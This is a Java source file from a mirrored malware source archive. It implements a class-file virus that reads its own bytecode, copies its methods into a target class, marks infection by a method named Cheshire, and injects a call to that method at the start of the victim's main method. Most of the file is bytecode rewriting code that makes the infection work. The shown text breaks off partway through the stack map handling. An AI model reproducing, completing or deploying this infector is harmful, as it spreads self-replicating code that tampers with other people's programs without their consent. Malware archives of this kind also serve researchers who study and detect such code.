mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
1517 lines
70 KiB
Java
1517 lines
70 KiB
Java
import org.graalvm.compiler.nodes.memory.Access;
|
|
|
|
import java.io.*;
|
|
import java.lang.invoke.MethodHandles;
|
|
import java.nio.ByteBuffer;
|
|
import java.nio.file.AccessDeniedException;
|
|
import java.nio.file.Files;
|
|
import java.nio.file.Paths;
|
|
import java.util.ArrayList;
|
|
import java.util.Arrays;
|
|
import java.util.HashMap;
|
|
import java.util.Properties;
|
|
import java.util.jar.JarEntry;
|
|
import java.util.jar.JarFile;
|
|
import java.util.jar.JarInputStream;
|
|
import java.util.jar.JarOutputStream;
|
|
import java.util.zip.ZipException;
|
|
|
|
|
|
public class SelfExamine{
|
|
/**
|
|
* Basic algorithm: Read ourself, read our own methods to copy them,
|
|
* find main in the target class, inject our methods and inject a
|
|
* call to the infect/copy function
|
|
*/
|
|
|
|
/**
|
|
* Go through all methods in our parsed class.
|
|
* We are assuming the class we're given is probably us and therefore looking
|
|
* for our own data to copy in preparation for our target.
|
|
*
|
|
* We need to copy from the constant pool:
|
|
* - Name
|
|
* - Descriptor
|
|
* - Items for Method Attributes, Fields. Ugh...
|
|
*
|
|
* How do we want to write this...
|
|
* Something like copyMethods(findOurMethods())?
|
|
*
|
|
* @param parsedClass
|
|
*/
|
|
public static void findOurMethods(HashMap<String, Object> parsedClass, HashMap<String, Object> target){
|
|
byte[][] methods = (byte[][]) parsedClass.get("methods");
|
|
byte[][] cpool = (byte[][]) parsedClass.get("constant_pool");
|
|
ArrayList<String> our_methods = new ArrayList<String>();
|
|
|
|
|
|
our_methods.add("findOurMethods");
|
|
our_methods.add("copyConstant");
|
|
our_methods.add("Cheshire");
|
|
our_methods.add("processVerificationTypeInfo");
|
|
our_methods.add("parseClassFile");
|
|
our_methods.add("instructionIndex");
|
|
our_methods.add("processInstructions");
|
|
our_methods.add("processAttribute");
|
|
our_methods.add("getUtf8Constant");
|
|
our_methods.add("addToPool");
|
|
our_methods.add("classBytes");
|
|
our_methods.add("copyMethod");
|
|
our_methods.add("getMethodName");
|
|
our_methods.add("getClassName");
|
|
our_methods.add("isInfected");
|
|
our_methods.add("searchFile");
|
|
|
|
|
|
//Loop through our methods and find the ones we're interested in
|
|
for(int i = 0; i < methods.length; i++){
|
|
ByteBuffer bb = ByteBuffer.wrap(Arrays.copyOfRange(methods[i], 2, 6));
|
|
int name_index = bb.getShort();
|
|
int descriptor_index = bb.getShort();
|
|
String name = new String(Arrays.copyOfRange(cpool[name_index-1], 3, cpool[name_index-1].length));
|
|
String descriptor = new String(Arrays.copyOfRange(cpool[descriptor_index-1], 3, cpool[descriptor_index-1].length));
|
|
|
|
if(our_methods.contains(name)){
|
|
try {
|
|
copyMethod(parsedClass, i, target);
|
|
}
|
|
catch(IOException e){
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
/**
|
|
* This is a super lame way to detect infection but it'll have to do for now.
|
|
* If class has a method called Cheshire, return true.
|
|
* @param parsedClass
|
|
* @return
|
|
*/
|
|
public static boolean isInfected(HashMap<String, Object> parsedClass){
|
|
byte[][] methods = (byte[][]) parsedClass.get("methods");
|
|
boolean infected = false;
|
|
for(int i = 0; i < methods.length; i++){
|
|
ByteBuffer b = ByteBuffer.wrap(methods[i]);
|
|
b.get(new byte[2]);
|
|
int nameIndex = b.getShort();
|
|
b.get(new byte[4]);
|
|
String methodName = getUtf8Constant(nameIndex, parsedClass);
|
|
if(methodName.equals("Cheshire")){
|
|
infected = true;
|
|
|
|
}
|
|
}
|
|
return infected;
|
|
}
|
|
|
|
/**
|
|
* Look for the main method. If it exists, inject invokestatic (cheshire methodref constant pool index)
|
|
* Rough method for doing this with our code:
|
|
* 1. Find main
|
|
* 2. Find the constant pool item corresponding to the Cheshire method
|
|
* 2. After all other methods have been added, add invokestatic [methodref] instruction as first instruction of main
|
|
* method in victim class.
|
|
* 3. Add one to the first stackmapframe offset
|
|
*
|
|
*
|
|
*/
|
|
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
|
|
//Are there any functions called main?
|
|
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
|
|
//We should parse through the constant pool, look for the methodref with our method name and capture the index
|
|
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
|
int methodRefIndex;
|
|
byte[] instruction_bytes = new byte[3];
|
|
|
|
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
|
|
//For that method manually.
|
|
|
|
//Find the Constant Pool index of the MethodRef for our virus.
|
|
for(int i = 0; i < constant_pool.length; i++){
|
|
byte[] constant = constant_pool[i];
|
|
|
|
if(constant[0] == (byte) 10){
|
|
byte[] natindexbytes = new byte[2];
|
|
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
|
|
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
|
|
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
|
|
byte[] nameindexbytes = new byte[2];
|
|
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
|
|
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
|
|
String methodName = getUtf8Constant(NameIndex, origin);
|
|
if(methodName.equals("Cheshire")){
|
|
methodRefIndex = i+1;
|
|
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
|
|
ByteBuffer bb = ByteBuffer.allocate(2);
|
|
bb.putShort((short) methodRefIndex);
|
|
byte[] index_bytes = bb.array();
|
|
byte invokestatic = (byte) 184;
|
|
instruction_bytes[0] = invokestatic;
|
|
instruction_bytes[1] = index_bytes[0];
|
|
instruction_bytes[2] = index_bytes[1];
|
|
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
|
|
inject_instructions.add(instruction_bytes);
|
|
destination.put("inject_instructions", inject_instructions);
|
|
}
|
|
}
|
|
}
|
|
|
|
byte[][] methods = (byte[][]) destination.get("methods");
|
|
for(int i = 0; i < methods.length; i++){
|
|
ByteBuffer b = ByteBuffer.wrap(methods[i]);
|
|
b.get(new byte[2]);
|
|
int nameIndex = b.getShort();
|
|
b.get(new byte[4]);
|
|
String methodName = getUtf8Constant(nameIndex, destination);
|
|
if(methodName.equals("main")){
|
|
try {
|
|
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* Fortunately for us, not much to do here. Process verification type info for items on the stack.
|
|
* Not touching it, so essentially just copying the data.
|
|
* @param b
|
|
* @param origin
|
|
* @param destination
|
|
* @return
|
|
*/
|
|
public static byte[] processVerificationTypeInfo(ByteBuffer b, HashMap<String, Object> origin, HashMap<String, Object> destination){
|
|
byte tagbyte = b.get();
|
|
int tag = tagbyte & 0xFF;
|
|
if(tag >= 0 && tag < 7){
|
|
ByteBuffer newbuff = ByteBuffer.allocate(1);
|
|
newbuff.put(tagbyte);
|
|
return newbuff.array();
|
|
}
|
|
else if(tag == 7){
|
|
ByteBuffer newbuff = ByteBuffer.allocate(3);
|
|
int index = b.getShort();
|
|
newbuff.put(tagbyte);
|
|
int new_index = copyConstant(origin, index, destination);
|
|
newbuff.putShort((short) new_index);
|
|
return newbuff.array();
|
|
}
|
|
else if(tag == 8){
|
|
ByteBuffer newbuff = ByteBuffer.allocate(3);
|
|
newbuff.put(tagbyte);
|
|
int offset = b.getShort();
|
|
newbuff.putShort((short) offset);
|
|
return newbuff.array();
|
|
}
|
|
else {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Convert the index in the old code byte array to an index at the same instruction in the
|
|
* new list. Return the new index.
|
|
* First, find the instruction position in the OldList. Then, if necessary, find the remainder.
|
|
* Next, take that instruction position and cycle through the newList, adding the length of each instruction
|
|
* as you go. Once that instruction position is reached, add the remainder.
|
|
* If two instruction lists of different sizes are passed, we assume instructions are being injected at the
|
|
* beginning of the list.
|
|
* Step 1. How many more instructions in old list than new list?
|
|
* Step 2. Start from equivalent position by subtracting number of instructions
|
|
* Step 3. Add delta to instruction_pos for accurate offset
|
|
*
|
|
* @param index
|
|
* @param oldList
|
|
* @param newList
|
|
* @return
|
|
*/
|
|
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
|
|
int oldposition = 0;
|
|
int newposition = 0;
|
|
int remainder = 0;
|
|
int instruction_pos = 0;
|
|
int list_offset = 0;
|
|
if(oldList.size() != newList.size()){
|
|
list_offset = newList.size() - oldList.size();
|
|
}
|
|
// Step one: Convert old index
|
|
while(oldposition < index){
|
|
if(oldposition + oldList.get(instruction_pos).length <= index){
|
|
oldposition += oldList.get(instruction_pos).length;
|
|
instruction_pos += 1;
|
|
}
|
|
else if(oldposition + oldList.get(instruction_pos).length > index){
|
|
oldposition += oldList.get(instruction_pos).length;
|
|
instruction_pos += 1;
|
|
remainder = oldposition - index;
|
|
oldposition -= remainder;
|
|
}
|
|
}
|
|
instruction_pos += list_offset;
|
|
//Step two: Convert instruction_pos + remainder to new position
|
|
for(int i = 0; i < instruction_pos; i++){
|
|
newposition += newList.get(i).length;
|
|
}
|
|
return newposition;
|
|
}
|
|
|
|
/**
|
|
* This function ended up being more complex than I'd thought.
|
|
* We want to create a data structure where new offsets can be calculated based on instruction position.
|
|
* Ideally, we keep old and new code in a 2d array and calculate offsets based on where instructions are
|
|
* rather than doing individual calculations for each piece. I think it's also ideal if we write
|
|
* function to translate an old position to a new one at any given time. Due to functions being processed
|
|
* one at a time, I think it's OK to store this data in the origin and destination hash maps(if needed).
|
|
*
|
|
* The process of adjustment should look something like this:
|
|
* Instructions are read into an ArrayList of byte arrays.
|
|
* The origin class and the destination class are both given copies of the same list.
|
|
* Following that, the origin class is processed to:
|
|
* 1. Add new constant pool indices
|
|
* 2. Change instructions if necessary
|
|
* 3. adjust if, goto offsets
|
|
*
|
|
* NOTE TO SELF: I SKIPPED PARSING LOOKUPSWTICH BECAUSE IT'S NOT IN ANY OF THE CODE TO BE COPIED
|
|
* @param instructions
|
|
* @param origin
|
|
* @param destination
|
|
* @return
|
|
*/
|
|
public static byte[] processInstructions(byte[] instructions, HashMap<String, Object> origin, HashMap<String, Object> destination, ArrayList<byte[]> injectInstructions){
|
|
ByteBuffer buffer = ByteBuffer.wrap(instructions);
|
|
int code_length = instructions.length;
|
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
ArrayList<byte[]> byteList = new ArrayList<byte[]>();
|
|
while(buffer.hasRemaining()){
|
|
byte instruction = buffer.get();
|
|
if((instruction & 0xff) == 18){
|
|
byte index = buffer.get();
|
|
byte[] inst_bytes = new byte[2];
|
|
inst_bytes[0] = instruction;
|
|
inst_bytes[1] = index;
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 182 || (instruction & 0xff) == 19 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 || (instruction & 0xff) == 180 || (instruction & 0xff) == 20){
|
|
int old_index = buffer.getShort();
|
|
int new_index = copyConstant(origin, old_index, destination);
|
|
ByteBuffer temp = ByteBuffer.allocate(2);
|
|
temp.putShort((short) new_index);
|
|
byte[] index_bytes = temp.array();
|
|
byte[] inst_bytes = new byte[3];
|
|
inst_bytes[0] = instruction;
|
|
inst_bytes[1] = index_bytes[0];
|
|
inst_bytes[2] = index_bytes[1];
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 186){
|
|
int old_index = buffer.getShort();
|
|
int new_index = copyConstant(origin, old_index, destination);
|
|
ByteBuffer tempBuff = ByteBuffer.allocate(2);
|
|
tempBuff.putShort((short) new_index);
|
|
byte[] index_bytes = tempBuff.array();
|
|
byte b1 = buffer.get();
|
|
byte b2 = buffer.get();
|
|
byte[] inst_bytes = new byte[5];
|
|
inst_bytes[0] = instruction;
|
|
inst_bytes[1] = index_bytes[0];
|
|
inst_bytes[2] = index_bytes[1];
|
|
index_bytes[3] = b1;
|
|
index_bytes[4] = b2;
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 201){
|
|
byte b1 = buffer.get();
|
|
byte b2 = buffer.get();
|
|
byte b3 = buffer.get();
|
|
byte b4 = buffer.get();
|
|
byte[] inst_bytes = new byte[5];
|
|
inst_bytes[0] = b1;
|
|
inst_bytes[1] = b2;
|
|
inst_bytes[2] = b3;
|
|
inst_bytes[3] = b4;
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 185){
|
|
int old_index = buffer.getShort();
|
|
int new_index = copyConstant(origin, old_index, destination);
|
|
ByteBuffer temp = ByteBuffer.allocate(2);
|
|
temp.putShort((short) new_index);
|
|
byte[] indexBytes = temp.array();
|
|
byte b1 = buffer.get();
|
|
byte b2 = buffer.get();
|
|
byte[] inst_bytes = new byte[5];
|
|
inst_bytes[0] = instruction;
|
|
inst_bytes[1] = indexBytes[0];
|
|
inst_bytes[2] = indexBytes[1];
|
|
inst_bytes[3] = b1;
|
|
inst_bytes[4] = b2;
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 200){
|
|
byte[] inst_bytes = new byte[5];
|
|
inst_bytes[0] = instruction;
|
|
byte b1 = buffer.get();
|
|
byte b2 = buffer.get();
|
|
byte b3 = buffer.get();
|
|
byte b4 = buffer.get();
|
|
inst_bytes[1] = b1;
|
|
inst_bytes[2] = b2;
|
|
inst_bytes[3] = b3;
|
|
inst_bytes[4] = b4;
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 17 || (instruction & 0xff) == 181 || (instruction & 0xff) == 165 || (instruction & 0xff) == 166 || (instruction & 0xff) == 159 || (instruction & 0xff) == 160 || (instruction & 0xff) == 161 || (instruction & 0xff) == 162 || (instruction & 0xff) == 163 || (instruction & 0xff) == 164 || (instruction & 0xff) == 153 || (instruction & 0xff) == 154 || (instruction & 0xff) == 155 || (instruction & 0xff) == 156 || (instruction & 0xff) == 157 || (instruction & 0xff) == 158 || (instruction & 0xff) == 199 || (instruction & 0xff) == 198 || (instruction & 0xff) == 132 || (instruction & 0xff) == 193 || (instruction & 0xff) == 168 || (instruction & 0xff) == 167 || (instruction & 0xff) == 179){
|
|
byte b1 = buffer.get();
|
|
byte b2 = buffer.get();
|
|
byte[] inst_bytes = new byte[3];
|
|
inst_bytes[0] = instruction;
|
|
inst_bytes[1] = b1;
|
|
inst_bytes[2] = b2;
|
|
byteList.add(inst_bytes);
|
|
|
|
}
|
|
else if((instruction & 0xff) == 188 || (instruction & 0xff) == 22 || (instruction & 0xff) == 55 || (instruction & 0xff) == 25 || (instruction & 0xff) == 58 || (instruction & 0xff) == 16 || (instruction & 0xff) == 24 || (instruction & 0xff) == 57 || (instruction & 0xff) == 23 || (instruction & 0xff) == 56 || (instruction & 0xff) == 21 || (instruction & 0xff) == 54){
|
|
byte[] inst_bytes = new byte[2];
|
|
inst_bytes[0] = instruction;
|
|
byte b = buffer.get();
|
|
inst_bytes[1] = b;
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else if((instruction & 0xff) == 182 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 ){
|
|
byte[] inst = new byte[3];
|
|
inst[0] = instruction;
|
|
int old_index = buffer.getShort();
|
|
int new_index = copyConstant(origin, old_index, destination);
|
|
ByteBuffer temp = ByteBuffer.allocate(2);
|
|
temp.putShort((short) new_index);
|
|
byte[] index_bytes = temp.array();
|
|
inst[1] = index_bytes[0];
|
|
inst[2] = index_bytes[1];
|
|
byteList.add(inst);
|
|
}
|
|
else if((instruction & 0xff) == 197){
|
|
byte[] inst_bytes = new byte[4];
|
|
inst_bytes[0] = instruction;
|
|
inst_bytes[1] = buffer.get();
|
|
inst_bytes[2] = buffer.get();
|
|
inst_bytes[3] = buffer.get();
|
|
byteList.add(inst_bytes);
|
|
}
|
|
else {
|
|
byte[] inst = new byte[1];
|
|
inst[0] = instruction;
|
|
byteList.add(inst);
|
|
}
|
|
}
|
|
origin.put("method_code", byteList.clone());
|
|
|
|
int code_position = 0;
|
|
|
|
for(byte[] bytes : byteList) {
|
|
byte[] inst = bytes;
|
|
if (inst[0] == 18) {
|
|
int old_index = inst[1] & 0xff;
|
|
int new_index = copyConstant(origin, old_index, destination);
|
|
byte[] new_inst;
|
|
if (new_index > 255) {
|
|
new_inst = new byte[3];
|
|
ByteBuffer b = ByteBuffer.allocate(2);
|
|
b.putShort((short) new_index);
|
|
new_inst[0] = 19;
|
|
new_inst[1] = b.array()[0];
|
|
new_inst[2] = b.array()[1];
|
|
byteList.set(byteList.indexOf(inst), new_inst);
|
|
} else {
|
|
new_inst = new byte[2];
|
|
new_inst[0] = 18;
|
|
new_inst[1] = (byte) new_index;
|
|
byteList.set(byteList.indexOf(inst), new_inst);
|
|
}
|
|
|
|
}
|
|
}
|
|
ArrayList<byte[]> newList = new ArrayList<byte[]>();
|
|
if(injectInstructions != null){
|
|
newList.addAll(injectInstructions);
|
|
newList.addAll(byteList);
|
|
}
|
|
else{
|
|
newList = byteList;
|
|
}
|
|
|
|
for(int i = 0; i < byteList.size(); i++){
|
|
byte[] inst = byteList.get(i);
|
|
int list_offset = newList.size() - byteList.size();
|
|
int instruction = inst[0] & 0xFF;
|
|
if((inst[0] & 0xff) == 198 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 159 || (inst[0] & 0xff) == 155 || (inst[0] & 0xff) == 160 || (inst[0] & 0xff) == 161 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 163 || (inst[0] & 0xff) == 164 || (inst[0] & 0xff) == 153 || (inst[0] & 0xff) == 199){
|
|
int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF));
|
|
int new_position = instructionIndex(code_position, (ArrayList<byte[]>) origin.get("method_code"), newList);
|
|
int new_offset = instructionIndex(code_position + offset, (ArrayList<byte[]>) origin.get("method_code"), newList)- new_position;
|
|
ByteBuffer offset_buff = ByteBuffer.allocate(3);
|
|
offset_buff.put(inst[0]);
|
|
offset_buff.putShort((short) new_offset);
|
|
newList.set(i+list_offset, offset_buff.array());
|
|
}
|
|
if((inst[0] & 0xff) == 167){
|
|
int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF));
|
|
int new_position = instructionIndex(code_position, (ArrayList<byte[]>) origin.get("method_code"), newList);
|
|
int new_offset = instructionIndex(code_position + offset, (ArrayList<byte[]>) origin.get("method_code"), newList)- new_position;
|
|
ByteBuffer offset_buff = ByteBuffer.allocate(3);
|
|
offset_buff.put(inst[0]);
|
|
offset_buff.putShort((short) new_offset);
|
|
newList.set(i+list_offset, offset_buff.array());
|
|
}
|
|
code_position += ((ArrayList<byte[]>) origin.get("method_code")).get(i).length;
|
|
|
|
}
|
|
destination.put("method_code", newList.clone());
|
|
for(byte[] inst : newList){
|
|
try {
|
|
bos.write(inst);
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
|
|
return bos.toByteArray();
|
|
}
|
|
|
|
/**
|
|
* Returns an array of bytes corresponding to a set of attributes passed to it. Could be one or several.
|
|
* @return
|
|
*/
|
|
public static byte[] processAttribute(byte[] attribute, HashMap<String, Object> origin, HashMap<String, Object> destination, String type) {
|
|
ByteBuffer b = ByteBuffer.allocate(attribute.length);
|
|
ByteBuffer buffer = ByteBuffer.wrap(attribute);
|
|
|
|
if(type.equals("Code")){
|
|
//method_buffer[]
|
|
ByteBuffer tempBuffer = ByteBuffer.allocate(4);
|
|
tempBuffer.putShort(buffer.getShort());
|
|
tempBuffer.putShort(buffer.getShort());
|
|
int code_length = buffer.getInt();
|
|
|
|
byte[] code = new byte[code_length];
|
|
buffer.get(code);
|
|
origin.put("method_code", null);
|
|
destination.put("method_code", null);
|
|
byte[] instructions = processInstructions(code, origin, destination, (ArrayList<byte[]>) destination.get("inject_instructions"));
|
|
b = ByteBuffer.allocate(attribute.length + (instructions.length - code_length));
|
|
b.put(tempBuffer.array());
|
|
code_length = instructions.length;
|
|
b.putInt(code_length);
|
|
b.put(instructions);
|
|
int exception_table_length = buffer.getShort();
|
|
b.putShort((short) exception_table_length);
|
|
|
|
for(int c = 0; c < exception_table_length; c++){
|
|
byte[] dump = new byte[6];
|
|
buffer.get(dump);
|
|
HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
|
|
int start_pc = (short) (((dump[0] & 0xFF) << 8) | (dump[1] & 0xFF));
|
|
int end_pc = (short) (((dump[2] & 0xFF) << 8) | (dump[3] & 0xFF));
|
|
int handler_pc = (short) (((dump[4] & 0xFF) << 8) | (dump[5] & 0xFF));
|
|
start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
|
|
end_pc = instructionIndex(end_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
|
|
handler_pc = instructionIndex(handler_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
|
|
b.putShort((short) start_pc);
|
|
b.putShort((short) end_pc);
|
|
b.putShort((short) handler_pc);
|
|
int catch_type = buffer.getShort();
|
|
int new_catch_type = copyConstant(origin, catch_type, destination);
|
|
b.putShort((short) new_catch_type);
|
|
|
|
}
|
|
|
|
int attributes_count = buffer.getShort();
|
|
b.putShort((short) attributes_count);
|
|
for(int d = 0; d < attributes_count; d++){
|
|
int name_index = buffer.getShort();
|
|
int new_name_index = copyConstant(origin, name_index, destination);
|
|
b.putShort((short) new_name_index);
|
|
int attribute_length = buffer.getInt();
|
|
b.putInt(attribute_length);
|
|
byte[] new_attribute = new byte[attribute_length];
|
|
buffer.get(new_attribute);
|
|
byte[] processedAttributed = processAttribute(new_attribute, origin, destination, getUtf8Constant(name_index, origin));
|
|
if(processedAttributed.length == attribute_length){
|
|
b.put(processedAttributed);
|
|
}
|
|
}
|
|
return b.array();
|
|
}
|
|
else if(type.equals("LocalVariableTable")){
|
|
int table_length = buffer.getShort();
|
|
HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
|
|
b.putShort((short) table_length);
|
|
HashMap<String, int[]> LVT = new HashMap<String, int[]>();
|
|
for(int i = 0; i < table_length; i++) {
|
|
int start_pc = buffer.getShort();
|
|
int length = buffer.getShort();
|
|
int pc_length = start_pc+length;
|
|
start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code"));
|
|
length = instructionIndex(pc_length, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code")) - start_pc;
|
|
if(start_pc == 65535){
|
|
System.out.println("Woah nelly!");
|
|
}
|
|
b.putShort((short) start_pc);
|
|
b.putShort((short) length);
|
|
int orig_name_index = buffer.getShort();
|
|
|
|
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
|
b.putShort((short) new_name_index);
|
|
int orig_descriptor_index = buffer.getShort();
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) new_descriptor_index);
|
|
b.putShort(buffer.getShort());
|
|
int[] values = new int[2];
|
|
values[0] = new_name_index;
|
|
values[1] = new_descriptor_index;
|
|
LVT.put(getUtf8Constant(orig_name_index, origin), values);
|
|
}
|
|
origin.put("LVT", LVT);
|
|
return b.array();
|
|
}
|
|
else if(type.equals("LocalVariableTypeTable")){
|
|
int table_length = buffer.getShort();
|
|
b.putShort((short) table_length);
|
|
HashMap<String, int[]> LVT = (HashMap<String, int[]>) origin.get("LVT");
|
|
HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
|
|
for(int i = 0; i < table_length; i++) {
|
|
int start_pc = buffer.getShort();
|
|
int length = buffer.getShort();
|
|
int pc_length = start_pc+length;
|
|
start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
|
|
b.putShort((short) start_pc);
|
|
length = instructionIndex(pc_length, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code")) - start_pc;
|
|
b.putShort((short) length);
|
|
int orig_name_index = buffer.getShort();
|
|
int[] indices = LVT.get(getUtf8Constant(orig_name_index, origin));
|
|
int new_name_index = (short) indices[0];
|
|
b.putShort((short) indices[0]);
|
|
int orig_descriptor_index = buffer.getShort();
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) indices[1]);
|
|
b.putShort(buffer.getShort());
|
|
}
|
|
return b.array();
|
|
}
|
|
else if(type.equals("Signature")){
|
|
int old_signature_index = buffer.getShort();
|
|
int new_signature_index = copyConstant(origin, old_signature_index, destination);
|
|
b.putShort((short) new_signature_index);
|
|
return b.array();
|
|
}
|
|
else if(type.equals("Exceptions")){
|
|
int number_of_exceptions = buffer.getShort();
|
|
b.putShort((short) number_of_exceptions);
|
|
for(int i = 0; i < number_of_exceptions; i++){
|
|
int class_index = buffer.getShort();
|
|
int new_class_index = copyConstant(origin, class_index, destination);
|
|
b.putShort((short) new_class_index);
|
|
}
|
|
return b.array();
|
|
}
|
|
else if(type.equals("StackMapTable")){
|
|
int num_entries = buffer.getShort();
|
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
int frame_position = 0;
|
|
int old_frame_position = 0;
|
|
for(int i = 0; i < num_entries; i++){
|
|
|
|
byte tagbyte = buffer.get();
|
|
int tag = tagbyte & 0xFF;
|
|
|
|
if(tag >= 0 && tag <= 63){
|
|
int new_offset = instructionIndex(old_frame_position + tag + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position +i);
|
|
old_frame_position += tag;
|
|
|
|
Integer a = new_offset;
|
|
byte newtag = a.byteValue();
|
|
bos.write(newtag);
|
|
|
|
frame_position += new_offset;
|
|
|
|
}
|
|
else if(tag >= 64 && tag <= 127){
|
|
|
|
int new_offset = instructionIndex(old_frame_position + (tag - 64) + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
|
|
|
|
old_frame_position += (tag - 64);
|
|
|
|
byte newtag = (byte) (new_offset+64);
|
|
bos.write(newtag);
|
|
try {
|
|
bos.write(processVerificationTypeInfo(buffer, origin, destination));
|
|
}
|
|
catch (IOException e){
|
|
|
|
}
|
|
frame_position += new_offset;
|
|
|
|
}
|
|
else if(tag == 247){
|
|
bos.write(tagbyte);
|
|
ByteBuffer bbuf = ByteBuffer.allocate(2);
|
|
int offset = buffer.getShort();
|
|
int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
|
|
|
|
old_frame_position += offset;
|
|
|
|
bbuf.putShort((short) new_offset);
|
|
try {
|
|
bos.write(bbuf.array());
|
|
bos.write(processVerificationTypeInfo(buffer, origin, destination));
|
|
}
|
|
catch (IOException e){
|
|
|
|
}
|
|
|
|
frame_position += new_offset;
|
|
|
|
}
|
|
else if(tag >= 248 && tag <= 251){
|
|
bos.write(tagbyte);
|
|
int offset = buffer.getShort();
|
|
int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
|
|
old_frame_position += offset;
|
|
ByteBuffer bbuf = ByteBuffer.allocate(2);
|
|
|
|
bbuf.putShort((short) new_offset);
|
|
|
|
try {
|
|
bos.write(bbuf.array());
|
|
}
|
|
catch (IOException e){
|
|
|
|
}
|
|
|
|
frame_position += new_offset;
|
|
|
|
}
|
|
else if(tag >= 252 && tag <= 254){
|
|
bos.write(tagbyte);
|
|
ByteBuffer bbuf = ByteBuffer.allocate(2);
|
|
byte[] offset = new byte[2];
|
|
int o_offset = buffer.getShort();
|
|
int offset_i = instructionIndex(o_offset + old_frame_position + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
|
|
|
|
old_frame_position += o_offset;
|
|
|
|
|
|
bbuf.putShort((short) offset_i);
|
|
|
|
try {
|
|
bos.write(bbuf.array());
|
|
int numtypes = tag - 251;
|
|
for(int a = 0; a < numtypes; a++) {
|
|
bos.write(processVerificationTypeInfo(buffer, origin, destination));
|
|
}
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
frame_position += offset_i;
|
|
|
|
|
|
|
|
}
|
|
else if(tag == 255){
|
|
bos.write(tagbyte);
|
|
byte[] offset = new byte[2];
|
|
int offset_int = buffer.getShort();
|
|
int new_offset = instructionIndex(old_frame_position + offset_int + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
|
|
old_frame_position += offset_int;
|
|
|
|
|
|
ByteBuffer bbuf = ByteBuffer.allocate(2);
|
|
bbuf.putShort((short) new_offset);
|
|
|
|
try {
|
|
bos.write(bbuf.array());
|
|
int num_locals = buffer.getShort();
|
|
bbuf = ByteBuffer.allocate(2);
|
|
bbuf.putShort((short) num_locals);
|
|
bos.write(bbuf.array());
|
|
for(int a = 0; a < num_locals; a++){
|
|
bos.write(processVerificationTypeInfo(buffer, origin, destination));
|
|
}
|
|
